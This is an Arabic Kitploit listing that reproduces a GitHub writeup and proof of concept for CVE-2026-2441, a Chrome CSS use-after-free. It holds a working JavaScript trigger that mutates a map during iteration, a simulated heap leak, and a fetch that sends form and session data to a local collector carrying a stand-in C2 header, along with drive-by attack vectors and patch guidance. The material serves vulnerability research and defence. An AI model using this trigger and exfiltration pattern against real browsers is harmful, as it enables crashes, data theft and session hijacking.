Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-2441 — إثبات مفهوم مفصل وتحليل تقني لثغرة CVE-2026-2441، وهي ثغرة استخدام بعد التحرير في CSS داخل متصفح Chrome تتيح تنفيذ تعليمات برمجية عشوائية (RCE) في مُقدّم العرض المعزول عبر صفحات HTML مُصمّمة خصيصًا. | Kitploit
أدوات/GitHubGitHub/martinastarone/cve-2026-2441
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتصيد الاحتياليتحليل البرمجيات الخبيثةاختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
5منذ 3 أشهرلم تتم المراجعة بعد
GitHub
martinastarone/cve-2026-2441

CVE-2026-2441

إثبات مفهوم مفصل وتحليل تقني لثغرة CVE-2026-2441، وهي ثغرة استخدام بعد التحرير في CSS داخل متصفح Chrome تتيح تنفيذ تعليمات برمجية عشوائية (RCE) في مُقدّم العرض المعزول عبر صفحات HTML مُصمّمة خصيصًا.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-2441 — استخدام بعد التحرير (Use-After-Free) في Chrome CSSFontFeatureValuesMap

CVSS 8.8 (مرتفع) | مُستغل بنشاط في البرية | RCE في معالج العرض (معزول)

ثغرة استخدام بعد التحرير (Use-After-Free) في محرك Blink CSS بمتصفح Google Chrome تتيح لمهاجم عن بُعد تنفيذ تعليمات برمجية عشوائية داخل بيئة عزل المتصفح عبر صفحة HTML مُعدّة بعناية.

تفاصيل الثغرة

الحقلالقيمة
CVECVE-2026-2441
CVSS8.8 (مرتفع)
النوعاستخدام بعد التحرير (CWE-416)
المكوّنBlink CSS — CSSFontFeatureValuesMap
ملف المصدرthird_party/blink/renderer/core/css/css_font_feature_values_map.cc
التزام الإصلاح63f3cb4864c64c677cd60c76c8cb49d37d08319c
المُبلِّغShaheen Fazim (2026-02-11)
تاريخ التصحيح2026-02-13
في البريةنعم — أكدت Google استغلالًا نشطًا

الإصدارات المتأثرة

المنصةالإصدار الضعيفالإصدار المُصلَح
Windows / macOS (مستقر)< 145.0.7632.75>= 145.0.7632.75
Linux (مستقر)< 144.0.7559.75>= 144.0.7559.75
Windows / macOS (مستقر موسّع)< 144.0.7559.177>= 144.0.7559.177
المتصفحات المبنية على Chromium (Edge, Brave, Opera, Vivaldi)راجع إرشادات المورّديختلف

السبب الجذري

خزّن FontFeatureValuesMapIterationSource مؤشرًا خامًا (const FontFeatureAliases* aliases_) إلى HashMap الداخلية FontFeatureAliases. عندما تُعدَّل الخريطة أثناء التكرار عبر set() أو delete()، تعيد HashMap التجزئة — بتخصيص تخزين جديد وتحرير القديم. يصبح المؤشر الخام مُعلَّقًا (dangling)، وتقرأ استدعاء FetchNextItem() التالي من ذاكرة مُحرَّرة.

مسار الكود الضعيف

root@kitploit:~
CreateIterationSource()
  → FontFeatureValuesMapIterationSource(map, aliases_)
  → aliases_ = raw pointer to internal HashMap
  → iterator_ = aliases_->begin()

FetchNextItem()
  → reads iterator_->key  (through aliases_)

If map.set() / map.delete() is called between iterations:
  → HashMap rehashes (new alloc, old freed)
  → aliases_ → dangling pointer
  → iterator_ → invalidated
  → Next FetchNextItem() → USE-AFTER-FREE

الإصلاح

root@kitploit:~
- const FontFeatureAliases* aliases_;   // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_;    // deep copy → immune to rehash

يستبدل الإصلاح المؤشر الخام بنسخة عميقة من HashMap. حتى إذا أعادت الخريطة الأصلية التجزئة، يعمل المُكرِّر على نسخته الخاصة، ما يمنع المؤشر المُعلَّق.

إثبات المفهوم

الاستخدام

  1. افتح poc.html في إصدار Chrome ضعيف (< 145.0.7632.75)
  2. ستحاول الصفحة تشغيل ثغرة UAF عبر ثلاث طرق مختلفة

النتائج المتوقعة

إصدار Chromeالسلوك المتوقع
< 145.0.7632.75 (غير مُصحَّح)انهيار معالج العرض — STATUS_ACCESS_VIOLATION (Windows) أو SIGSEGV (Linux/macOS). يعرض Chrome خطأ "Can't open this page".
>= 145.0.7632.75 (مُصحَّح)لا انهيار — يكتمل تشغيل PoC وتُقرأ جميع الإدخالات بشكل طبيعي.

كيف يعمل إثبات المفهوم

نُظِّم إثبات المفهوم لعرض سلسلة الاستغلال بترتيب واضح وقابل للتكرار. ينشئ الجزء الأول كائن Blink/CSS الضعيف، ويشغّل الجزء الثاني إبطال المُكرِّر، ويحاكي الجزء الأخير تأثيرات ما بعد الاستغلال في بيئة أكاديمية آمنة.

ملاحظة مهمة: يتم تشغيل ثغرة UAF عبر واجهات برمجة تطبيقات CSS/JavaScript حقيقية يكشفها المتصفح. أما تسريب الكومة ولوحة تصدير البيانات فهي مُتحكَّم بها/محاكاة عمدًا لتجنب نشر استغلال Chromium مُسلَّح.

الخطوة 1: إنشاء بنية CSS الضعيفة

يعرّف الحمولة أولاً قاعدة CSS @font-feature-values:

root@kitploit:~
@font-feature-values VulnFont {
  @styleset {
    a0: 1; a1: 2; a2: 3; a3: 4;
    a4: 5; a5: 6; a6: 7; a7: 8;
  }
}

تتسبب هذه القاعدة في إنشاء Blink لخريطة CSSFontFeatureValuesMap داخلية. في التنفيذ الضعيف، يكون التكرار فوق هذه الخريطة غير آمن لأن المُكرِّر يحتفظ بمؤشر خام إلى وحدة التخزين الداخلية FontFeatureAliases.

يحصل حمولة JavaScript لاحقًا على الخريطة من ورقة الأنماط:

root@kitploit:~
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;

عند هذه النقطة، تمتلك الصفحة المُتحكَّم بها من المهاجم مقبض JavaScript لكائن متصفح يكون تنفيذه الداخلي بلغة C++ عرضةً لإبطال المُكرِّر.

الخطوة 2: التنفيذ المؤجَّل لتشغيل ثغرة UAF

لا يتم تشغيل الثغرة فورًا. ينتظر إثبات المفهوم 800 مللي ثانية قبل تنفيذ التسلسل الضعيف:

root@kitploit:~
setTimeout(triggerUAF, 800);

يُستخدم هذا التأخير لضمان استقرار العرض التجريبي. فهو يتيح عرض الصفحة ونموذج التحقق المصرفي المزوَّر قبل تشغيل مُحفِّز تلف الذاكرة. في سيناريو تنزيل عابر (drive-by) حقيقي، يمكن أيضًا إطلاق المُحفِّز نفسه تلقائيًا بمجرد تحميل الصفحة الخبيثة.

الخطوة 3 — إنشاء المُكرِّر وتعديل الخريطة المتزامن

الآلية الأساسية لثغرة UAF هي الحلقة التالية:

root@kitploit:~
const it = map.entries();
let step = 0;

while (step < 4) {
    const res = it.next();
    if (res.done) break;

    const [key] = res.value;

    map.delete(key);
    map.set("uaf_" + step, [step, step + 1]);

    step++;
}

يتم تشغيل الثغرة عبر ترتيب العمليات التالي:

root@kitploit:~
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.

الخطوة 4 — ضغط كومة مُتحكَّم به بدلاً من رشّ الكومة العدواني

استخدمت الاستراتيجية العدوانية الأصلية حلقة أكبر شبيهةً برشّ الكومة (heap spray)، إذ تُدرج مئات العناصر مثل 512 إدخالًا جديدًا بعد كل عملية حذف. يخلق ذلك ضغطًا أقوى على الكومة ويزيد احتمالية إعادة التخصيص/إعادة الاستخدام.

بالنسبة للعرض المباشر، اختُصر ذلك إلى 4 خطوات تعديل فقط:

root@kitploit:~
while (step < 4) {
    // iterator read + delete + set
}

السبب عملي وتعليمي: رشّ 512 عنصرًا كان يتسبب غالبًا في انهيار معالج العرض فورًا. الانهيار مفيد لإثبات تأثير توفّر الخدمة، لكنه يمنع بقية العرض من إظهار سرقة البيانات المحاكاة ولوحة تحكم المهاجم. لا تزال النسخة المخفَّضة توضح منطق إبطال المُكرِّر الضعيف مع إبقاء المتصفح مستقرًا بما يكفي للعرض المباشر.

الخطوة 5 — تسريب مؤشر كومة محاكى

يتطلب استغلال UAF حقيقي مُسلَّح عادةً آلية كشف ذاكرة (memory disclosure) لتسريب مؤشرات الكومة أو V8 وتجاوز ASLR. لا ينفذ العرض قراءة ذاكرة عشوائية حقيقية. بدلاً من ذلك، يولّد عنوانًا شبيهًا بالكومة من نطاق ثابت محدد مسبقًا:

root@kitploit:~
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);

heapLeak = {
  raw:  "0x" + base.toString(16).toUpperCase(),
  base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};

هذه القيمة هي تسريب كومة محاكى:

  • 0x55a000000000 هو النطاق البدئي الثابت الشبيه بالكومة المستخدم في العرض التجريبي.
  • يضيف Math.random() * 0x200000 إزاحة عشوائية صغيرة.
  • يحاذي base & ~0xfff العنوان إلى حدود صفحة.

الغرض هو إظهار شكل التسريب الذي يتجاوز ASLR على لوحة تحكم المهاجم دون تنفيذ استغلال كشف ذاكرة فعلي.

الخطوة 6 — تصدير البيانات إلى الواجهة الخلفية المحلية للمهاجم

بعد تشغيل ثغرة UAF وتسريب الكومة المحاكى، يبني إثبات المفهوم حمولة تحتوي على إدخالات النماذج المجمَّعة وبيانات الجلسة المقيمة في المتصفح ومقتطف DOM وحالة UAF وتسريب الكومة المحاكى. تُرسل الحمولة إلى الواجهة الخلفية المحلية للمهاجم:

root@kitploit:~
await fetch("http://127.0.0.1:7777/collect", {
  method:  "POST",
  headers: {
    "Content-Type": "application/json",
    "X-C2-Origin": "evil-tracker-cdn.xyz"
  },
  body: JSON.stringify(payload)
});

تستقبل الواجهة الخلفية المحلية البيانات عبر POST /collect، وتخزّنها في الذاكرة، وتعيد توجيهها إلى لوحة تحكم المهاجم عبر أحداث يرسلها الخادم (Server-Sent Events) (GET /events). يحاكي ذلك مرحلة القيادة والتحكم/تصدير البيانات في هجوم حقيقي مع بقائه محليًا ومُتحكَّمًا فيه.

التأثير

فوري (ضمن نطاق بيئة العزل)

  • تنفيذ تعليمات برمجية عشوائية داخل بيئة عزل عملية معالج العرض
  • كشف المعلومات — تسريب مؤشرات كومة V8 (تجاوز ASLR) وقراءة محتويات ذاكرة معالج العرض
  • سرقة بيانات الاعتماد — قراءة document.cookie وlocalStorage وsessionStorage وقيم إدخالات النماذج
  • اختطاف الجلسة — سرقة رموز الجلسة وتصديرها عبر fetch() / WebSocket / sendBeacon()
  • التلاعب بـ DOM — حقن نماذج تصيّد وتعديل محتوى الصفحة
  • تسجيل ضغطات المفاتيح — التقاط جميع ضغطات المفاتيح عبر addEventListener('keydown')

السلسلة (مع الهروب من بيئة العزل)

عند دمجها مع ثغرة منفصلة للهروب من بيئة العزل:

root@kitploit:~
Renderer RCE (CVE-2026-2441)
    → Mojo IPC exploit → Browser process RCE
        → Kernel exploit → Full system compromise
            → Malware / ransomware / spyware installation
            → File system access, lateral movement, persistence

سلاسل استغلال من العالم الحقيقي تستخدم ثغرات UAF مشابهة في المتصفحات:

  • NSO Pegasus — ثغرة UAF في WebKit + هروب من بيئة العزل + استغلال النواة
  • Intellexa Predator — ثغرة UAF في Chrome + استغلال نواة أندرويد
  • APT-28 (Fancy Bear) — ثغرة يوم الصفر في Chrome + سلسلة تصعيد صلاحيات محلية (LPE) في Windows

ناقل الهجوم

هذه الثغرة قابلة للاستغلال عبر التنزيل العابر (drive-by download) — لا يُطلَب أي تفاعل من المستخدم سوى زيارة صفحة خبيثة:

  • الإعلانات الخبيثة (Malvertising) — إعلانات ضارة تُعرض عبر شبكات إعلانية شرعية
  • حفرة الري (Watering hole) — اختراق موقع يزوره الهدف بشكل متكرر
  • التصيد المُوجَّه (Spear phishing) — إرسال رابط مُعد بعناية عبر البريد الإلكتروني أو المراسلة

الإجراءات الوقائية

  1. حدّث Chrome إلى >= 145.0.7632.75 (Windows/macOS) أو >= 144.0.7559.75 (Linux)
  2. حدّث المتصفحات المبنية على Chromium (Edge, Brave, Opera, Vivaldi) عند توفر تصحيحات المورّد
  3. تحقق من تفعيل عزل المواقع (Site Isolation) (chrome://flags/#site-isolation-trial-opt-out)
  4. راقب نقاط النهاية بحثًا عن إصدارات Chrome الأقدم من الإصدارات المُصلَحة

الجدول الزمني

التاريخالحدث
2026-02-11أبلغ Shaheen Fazim عن الثغرة
2026-02-13أصدرت Google الإصدارين 145.0.7632.75/76 (Windows/macOS) و144.0.7559.75 (Linux) من Chrome
2026-02-13أقرّت Google باستغلال الثغرة في البرية
2026-02-16أصدر Vivaldi وOpera إصلاحات

المراجع

  • مدونة إصدارات Google Chrome
  • NVD — CVE-2026-2441
  • The Hacker News — ثغرة يوم صفر جديدة في Chrome تحت هجوم نشط
  • متعقّب مشكلات Chromium (مقيّد)

الدعم

إذا وجدت هذا البحث مفيدًا، ففكّر في دعوتي بفنجان قهوة:

Buy Me A Coffee

إخلاء مسؤولية

يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وأبحاث أمنية مصرَّح بها فقط. يُعد استخدام إثبات المفهوم هذا ضد أنظمة دون إذن أمرًا غير قانوني وغير أخلاقي. المؤلف غير مسؤول عن أي إساءة استخدام.

الترخيص

MIT

تنزيل الأداة